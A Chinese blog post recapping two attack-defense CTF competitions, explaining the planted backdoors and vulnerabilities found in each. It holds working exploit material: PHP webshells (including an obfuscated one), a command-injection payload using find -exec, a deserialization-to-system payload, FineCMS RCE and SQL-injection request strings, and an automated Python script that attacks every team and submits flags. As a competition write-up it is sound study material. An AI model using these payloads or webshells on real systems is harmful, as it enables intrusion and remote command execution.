Back

记几次攻防赛

好久没发博客了…主要是比赛太多了…这几个月周末几乎无休,基本都是各种比赛

先慢慢来总结吧。

“西湖论剑”杯线下AWD

前一个小时和平发育,基本没人打…也不知道为啥…

这次也是我第二次参加AWD,第一次是在大一暑假参加的XMan结营赛的攻防…那时候啥都不懂,基本就是靠队内大佬带飞,直接飞到了团队第六,也就帮帮大佬传传shell啥的,不过也对攻防赛有了一个大致的印象。

这次AWD参选审核还是比较水的…当时好多都不知道怎么打的都来参加了…我还以为是大佬云集,我会被打的电脑都开不了的那种2333…感觉大家都还差不多…身后那支队后来直接放弃了,聊起天来了…

赛后想想,一开始没人打真的挺奇怪的,因为给的洞非常明显

这里放一个一叶飘零大佬的赛时分析文章吧,我觉得写得非常好的,还是多应该向大佬学习学习

Poc 1

首先在mobile\themes\default\auction_list.dwt中有一个很明显的一句话马

{:assert($_POST[1])}

这里要是谁发现的早,应该很快就可以打了…只是没人打…但是这也是赛中官方给了hint我们才发现的…

赛后用D盾扫了一遍啥洞都没发现…

后来的poc都是抄作业抄过来的…当时也是被打得挺惨的…还是抓log后来才知道怎么打…还是经验太少了

基本抄的还是这个点

post方式
文件url:http://10.50.33.2/mobile/index.php?m=default&c=auction
参数:1=phpinfo()

Poc 1 分析

首先,先看assert(),参照php文档

PHP 5

bool assert ( mixed $assertion [, string $description ] )


PHP 7

bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行

很经典的一个一句话马

再看为什么在dwt文件里面就可以

dwt 文件是网页模板文件(Dreamweaver Template), 在创建网站的多个网页的时候,通常可以将网页的共同部分创建成为一个模板, 然后给多个网页调用, 以实现网页代码的重复利用· 制作模板的时候, 用户可以自定义的模板可编辑区域和非可编辑区域, 可编辑区域将在调用模板的网页中再次填充代码

既然是个网页模版,而整个站都用的是php,模版里的字符串自然会被当作php来解析。所以这里一句话马可以被执行

Poc 2

参照一叶飘零大佬的

post方式
文件url:http://10.50.%s.2/mobile/index.php
参数:url=http://10.0.1.2?token=队伍token

Poc 2 分析

我们从mobile/index.php开始分析:

<?php
    /* 访问控制 */
    define('IN_ECTOUCH', true);
    /* 设置系统编码格式 */
    header("Content-Type:text/html;charset=utf-8");
    /* 设置系统编码格式 */
    header("Pragma: no-cache");
    /* 修复后退没有提交数据的问题 */
    header("Cache-control: private");
    /* 加载核心文件 */ 
    require ('include/EcTouch.php');

跟踪require(...)函数,看到EcTouch.php

<?php
    /* 访问控制 */
    defined('IN_ECTOUCH') or die('Deny Access');

    if (version_compare(PHP_VERSION, '5.2.0', '<')) die('require PHP > 5.2.0 !');
    defined('BASE_PATH') or define('BASE_PATH', dirname(__FILE__) . '/');
    defined('ROOT_PATH') or define('ROOT_PATH', realpath(dirname(__FILE__) . '/../') . '/');
    defined('APP_PATH') or define('APP_PATH', BASE_PATH . 'apps/');
    defined('ADDONS_PATH') or define('ADDONS_PATH', ROOT_PATH . 'plugins/');
    defined('DEFAULT_APP') or define('DEFAULT_APP', 'default');
    defined('DEFAULT_CONTROLLER') or define('DEFAULT_CONTROLLER', 'Index');
    defined('DEFAULT_ACTION') or define('DEFAULT_ACTION', 'index');

再来看APP_PATH这个路径apps/,下面会有三个文件夹

admin
default
install

首先查看默认文件夹default,看到又有5个文件夹

common
conf
controller
language
model

再按照顺序首先来看第一个common,发现两个php文件

function.php
insert.php

function.php中有个上传的函数比较可疑

function upload_file($upload, $type) {
    if (!empty($upload['tmp_name'])) {
        $ftype = check_file_type($upload['tmp_name'], $upload['name'], '|png|jpg|jpeg|gif|doc|xls|txt|zip|ppt|pdf|rar|docx|xlsx|pptx|');
        if (!empty($ftype)) {
            $name = date('Ymd');
            for ($i = 0; $i < 6; $i++) {
                $name .= chr(mt_rand(97, 122));
            }

            $name = $_SESSION['user_id'] . '_' . $name . '.' . $ftype;

            $target = ROOT_PATH . DATA_DIR . '/' . $type . '/' . $name;
            if (!move_upload_file($upload['tmp_name'], $target)) {
                ECTouch::err()->add(L('upload_file_error'), 1);

                return false;
            } else {
                return $name;
            }
        } else {
            ECTouch::err()->add(L('upload_file_type'), 1);

            return false;
        }
    } else {
        ECTouch::err()->add(L('upload_file_error'));
        return false;
    }
}

而且这个函数在留言板中被调用,是否能利用还有待研究,function.php中的其他函数基本没什么异常

再来看insert.php,可以发现有个insert_ads()函数:

function insert_ads($arr) {
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1) {
        $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . M()->pre . 'touch_ad ' . ' AS a ' .
                'LEFT JOIN ' . M()->pre . 'touch_ad_position ' . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
                "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = M()->query($sql);
    } else {
        if ($static_res[$arr['id']] === NULL) {
            $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                    'FROM ' . M()->pre . 'touch_ad ' . ' AS a ' .
                    'LEFT JOIN ' . M()->pre . 'touch_ad_position' . ' AS p ON a.position_id = p.position_id ' .
                    "WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
                    "' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
                    'ORDER BY rnd LIMIT 1';
            $static_res[$arr['id']] = M()->query($sql);
        }
        $res = $static_res[$arr['id']];
    }
    $ads = array();
    $position_style = '';

    foreach ($res AS $row) {
        if ($row['position_id'] != $arr['id']) {
            continue;
        }
        $position_style = $row['position_style'];
        switch ($row['media_type']) {
            case 0: // 图片广告
                $src = (strpos($row['ad_code'], 'http://') === false && strpos($row['ad_code'], 'https://') === false) ?
                        __URL__ . "/$row[ad_code]" : $row['ad_code'];
                $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "' 
                target='_blank'><img src='$src' width='" . $row['ad_width'] . "' height='$row[ad_height]'
                border='0' /></a>";
                break;
            case 1: // Flash
                $src = (strpos($row['ad_code'], 'http://') === false && strpos($row['ad_code'], 'https://') === false) ?
                        __URL__ . "/$row[ad_code]" : $row['ad_code'];
                $ads[] = "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" " .
                        "codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\"  " .
                        "width='$row[ad_width]' height='$row[ad_height]'>
                           <param name='movie' value='$src'>
                           <param name='quality' value='high'>
                           <embed src='$src' quality='high'
                           pluginspage='http://www.macromedia.com/go/getflashplayer'
                           type='application/x-shockwave-flash' width='$row[ad_width]'
                           height='$row[ad_height]'></embed>
                         </object>";
                break;
            case 2: // CODE
                $ads[] = $row['ad_code'];
                break;
            case 3: // TEXT
                $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
                target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
                break;
            case 4: // url
                $ads[] = file_get_contents($_POST['url']);
        }
    }
    $position_style = 'str:' . $position_style;

    $need_cache = ECTouch::view()->caching;
    ECTouch::view()->caching = false;

    ECTouch::view()->assign('ads', $ads);
    $val = ECTouch::view()->fetch($position_style);

    ECTouch::view()->caching = $need_cache;

    return html_entity_decode($val);
}

这里比较扎眼的便是case 4这里

            case 4: // url
                $ads[] = file_get_contents($_POST['url']);

这里很明显只有一段代码,而且还是file_get_contents(),这里便是一个任意文件读取的漏洞。

这里放上一叶飘零大佬的jio本以供学习:

import requests
import re
import time
data = {
    "url":"http://10.0.1.2?token=RCNWBJXQ"
}
url = "http://10.50.%s.2/mobile/index.php"
while True:
    for x in range(0,37):
        urll = url%x
        try:
			#attack moudle
            r = requests.post(url=urll,data=data,timeout=3)
            flag =  re.findall('<li>.*?</li>',r.content)[0][4:-5]
            #submit flag moudle
            flagurl = "https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s"%flag
            r = requests.get(url=flagurl,verify=False)
            #check flag
            if "wrong answer." not in r.content:
                print flag
                print r.content
        except:
            pass
        print "attack ip times: "+str(x)
    time.sleep(60)

这里问什么文件读取就可以拿到flag呢?因为file_get_contents这个函数,既然要读取url中的文件,自然得先去请求url,所以自然可以拿到flag

Poc 3

官方还给了一个mobile/api/uc.phphint,当时我们看了一下,感觉没啥用…这里还是主要参考一叶飘零大佬的分析…

当时乍一看好像没什么问题…现在仔细看这里

if (in_array($get['action'], array(
    'test',
    'deleteuser',
    'renameuser',
    'gettag',
    'synlogin',
    'synlogout',
    'updatepw',
    'updatebadwords',
    'updatehosts',
    'updateapps',
    'updateclient',
    'updatecredit',
    'getcreditsettings',
    'updatecreditsettings',
    'writesth'
))) {
    $uc_note = new uc_note();
    exit($uc_note->$get['action']($get, $post));
} else {
    exit(API_RETURN_FAILED);
}

这个array就有个地方就显得特别的奇葩,那就是最后的writesth

要是框架的作者…这么写怕不是会被打死…这里肯定就是主办方自己加上的。我们全局搜一下writesth看看都有些啥

果然找到一个函数

    function writesth($get, $post){
        $cachefile = $this->appdir .$get['name'];
        $fp = fopen($cachefile, 'w');
        $s = "<?php\r\n";
        $s .= $get['content'];
        fwrite($fp, $s);
        fclose($fp);
        return API_RETURN_SUCCEED;
    }

换句话说,就是上传的文件名是你get请求的name,内容就是你的content参数,这里就可以制造一个webshell来打。

我们也可以测试一下:

<?php
function writesth($name, $content){
    $cachefile = "./".$name;
    $fp = fopen($cachefile, 'w');
    $s = "<?php\r\n";
    $s .= $content;
    fwrite($fp, $s);
    fclose($fp);
    return 0;
}
$name = "shell.php";
$content = "@eval(\$_POST[zedd]);\n?>";
writesth($name,$content);
?>

本地成功拿到shellshell.php内容为

<?php
@eval($_POST[zedd]);
?>

但是这里得注意写入的地方是否有权限,无权限的话得考虑向上层目录走一走。

Something Else

其他的一些,可以参照一叶飘零大佬的博客,也可以参照ECSHOP v2.7.3注入漏洞分析和修复这个博客。总体来说还是一场比较有收获的AWD,也学习到了挺多知识。也是几乎过了一个月左右才来总结这次AWD…(哎哟这种拖延症真的是…写这篇基本靠回忆了…

第二届“红帽杯”线下攻防大赛

主要还是参考一叶飘零大佬的wp以及自己的一些亲身经历总结经验…(发现跟大佬的差距真的是大..2333

这里提一下,为了找到主办方的洞的话,可以下载主办方出的框架的对应的版本,然后进行diff,这样很快就可以找到主办方故意留下的洞。如果是整个项目比较的话啊,我还是比较推荐BeyondCompare的.

Web1

Poc 1

wp-admin/tools.php下有一个主办方留下的洞:

$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; @$poc_2($_POST['_']);

explode的[解释用法][http://www.w3school.com.cn/php/func_string_explode.asp]

array explode ( string $delimiter , string $string [, int $limit ] )

explode() 函数把字符串打散为数组。

也可以直接echo看一下$poc_2就是assert,也就是@assert($_POST['_'])这个马。

Poc 2

wp-login.php下注意到如下代码,有system很可能是一个任意命令执行:

case 'debug':
        $file = addslashes($_POST['file']);
        system("find /tmp -iname ".escapeshellcmd($file));
        break;

首先我们先解释addslashes()这个函数的[基本用法][http://php.net/manual/zh/function.addslashes.php]

string addslashes ( string $str )

addslashes — 使用反斜线引用字符串

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号()、双引号(")、反斜线(**)与 NUL(NULL 字符)。

还有escapeshellcmd()的[基本用法][http://php.net/manual/zh/function.escapeshellcmd.php]

string escapeshellcmd ( string $command )

escapeshellcmd — shell 元字符转义

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 execsystem() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A\xFF" 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

基本就是把引号什么的及其其他的给转义了的意思。

system中要执行的就是在/tmp目录下查找$_POST的参数的文件。而且根据find的手册,我们可以知道它还有一个exec的参数。

-exec  参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。

{}   花括号代表前面find查找出来的文件名。

iname在这里指的是不区分大小写;name则为区分大小写

例如

find /etc -name "passwd*" -exec grep "root" {} \;

这里是查找/etc下名为以passwd开头的文件中是否含有root

这里我们只需要随便穿一个文件名,再加上-exec cat /flag ;因为最后;是被escapeshellcmd给转义了,所以不需要加反斜杠。如果加上-or的话就相当于可以直接执行-exec后的命令。所以这里我们可以使用payload

find /tmp -iname a -or -exec cat /flag/flag ;

可以拿php本地测试一下

<?php
    $a = "a -or -exec cat /flag/flag ;";
    $file = addslashes($a);
    system("find /tmp -iname ".escapeshellcmd($file));
?>

Poc 3

index.php下直接有一个暴露的小马

@eval($_POST['admin']);

Poc 4

class-wp-cachefile.php中,详细分析见:[参考链接][https://github.com/bl4de/security_whitepapers/blob/master/RIPS_PHP_Security_Calendar_2017.md]

Eles

抄了一个作业

<script language="PHP">if(md5($_GET[guo])==="fe831851246d186db20c229fa19a0172"){@eval($_POST[power]);}</script>

基本就是也跟着拿这个马一样打别人…也算是后知后觉吧…后来只能打为数不多几个了吧…

主要是web1给的用户对web目录没有写的权限,当时没什么经验…不知道自己传个马打自己…这就很难受了…导致了web1被打穿了…以及还有不死马…

Web2

这里不得不吐槽一下web2checker机制,只放两个静态都能过checker,稳得不行…

Poc 1

看到/config/site下有两个莫名其妙的命名的php文件:

1.php
2.php

一看就应该是某些马的存放位置咯

1.php中可以看到

'SITE_DOMAINS'                  => '123sadccv=>1)&&($_GET[a]($_GET[b]));exit();$a=array(a', //网站的其他域名

很明显的位置$_GET[a]($_GET[b])

Poc 2

2.php中:

<?php
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>

var_dump可以看到

$_uU -> string(3) "chr"
$_cC -> string(16) "eval($_POST[2]);"
$_fF -> string(15) "create_function"

所以是:

$_ = create_function("",eval($_POST[2]));

可以直接用POST 2=phpinfo();使用

Poc 3

在与官方的fincms对比下我们可以发现新增文件为finecms/dayrui/config/config.class.php

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['param'])){
    $config->$_GET['param'];
}
class FinecmsConfig{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
        }
    }
    public function SetFilter($value){
        
        if($this->filter){
            foreach($this->filter as $filter){

                
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        $this->SetFilter($key);
        die("");
    }
}

开头看起来有个马的样子。

直接定位该文件的引用位置:finecms/Init.php,看到关键函数这里,我们可以看到

if(isset($_COOKIE['FINECMS_CONFIG'])){
    $config = $_COOKIE['FINECMS_CONFIG'];
    require FCPATH.'dayrui/config/config.class.php';
}

index.php可以找到FCPATHdefine

define('FCPATH', dirname(__FILE__).'/finecms/');

所以上面那段代码就是把这个config.class.php给引入进来。而$configInit.php中的cookie中的FINECMS_CONFIG取得。

整个代码逻辑就是先获取cookie中的FINECOMS_CONFIG的参数,然后调用config.class.php,先对$config进行base64解码,再进行反序列化,检查是否有GET请求传参,有的话就访问$config->$param

而在SetFilter($value)函数中我们可以看到有call_user_func($filter,$value);,这里我们可以利用任意命令执行漏洞。

call_user_func('system','ls');

如此可以直接执行system(ls)。所以我们需要让call_user_func($filter,$value);中的参数

$filter = 'system';//$value即为函数传参

所以我们先构造一个$FinecmsConfig对象实例,将其序列化。

class FinecmsConfig{
    private $config;
    private $path;
    public $filter=array('system');
}
$fine = new FinecmsConfig();
echo base64_encode(serialize($fine));

将得到的base64加密后的字符串传入$config,传入参数$param实现任意命令执行。测试代码如下:

$config = 'TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO3M6NDoicGF0aCI7czo2OiJmaWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fQ==';
$param = 'ls';
$config = unserialize(base64_decode($config));
if(isset($param)){
    $config->$param;
}

在这里,反序列化之后调用的__wakeup()这个魔术函数,而上段代码中并没有,所以并不会产生什么影响。

若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。

好,我们全部梳理一遍,真正利用的点就是在SetFilter利用call_user_func这个函数,而调用SetFilter的函数就是__get()这个魔术方法,这个魔术方法的触发条件是:

当调用当前环境下未定义或不可见的类属性或方法时,重载方法会被调用。

也就是说如果我们访问一个实例不存在的成员,或者私有成员变量的话,就会触发

所以,$config->$param;在这里触发,而$param可控,而且它也作为是call_user_func的传入回调函数的参数,就造成了任意代码利用

所以整个代码的漏洞利用,应该是先构造一个$filter=array('system')FinecmsConfig实例,因为原代码中是需要先base64解码之后再反序列化,我们就先将其序列化之后再用base64加密,得到

TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO3M6NDoicGF0aCI7czo2OiJmaWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fQ==

即可用GET参数param任意命令执行。

Poc 4

详细见:

https://zhuanlan.zhihu.com/p/35133267

http://lu4n.com/finecms-rce-0day/

payload:

http://localhost/index.php?c=Api&m=html&name=search&format=html&params={"search_sql":"action=cache name=block.L]=phpinfo()&$cache[L"}

Poc 5

cms自带漏洞:编号CVE-2018-6893

详细见:

https://bbs.ichunqiu.com/thread-36673-1-1.html

/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(selectload_file(concat(0x5c5c5c5c,database(),0x2e6e65766a32372e636579652e696f5c5c616461)))as total

总结

主要是自己在这方面积累的并不多吧,西湖那次说实话确实有点水分,挺作秀的。比赛水平并不是很高,自己跟队友也是混到了第6左右,也是个人的第二次攻防赛;第三次攻防赛稍微对上次有点经验,不过还是自己见识太少了,太菜了…排名比较靠中,也是因为都是通过线上赛筛选过来的队伍,所以实力都很强。不得不说的是,红帽杯的web2的checker只检查index.phpadmin.php,我们删了很多其他东西,就稳定得分了。。一方面是记录流量的准备不是很充分,waf也并没有准备,基本就是准备了一些心理准备吧hhhh。对于不死马的处理以及对于自己对自己的维护环境没有权限的情况没有经验,这里可以简述一下前面两者的处理方法,不死马的处理可以通过覆写一句话马的文件或者重启web服务,对于自己web目录没有权限的情况可以自己拿自己的shell达到获取权限的目的。

之后可能会写一写攻防赛的经验总结吧…还是得等这段期末过吧..

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy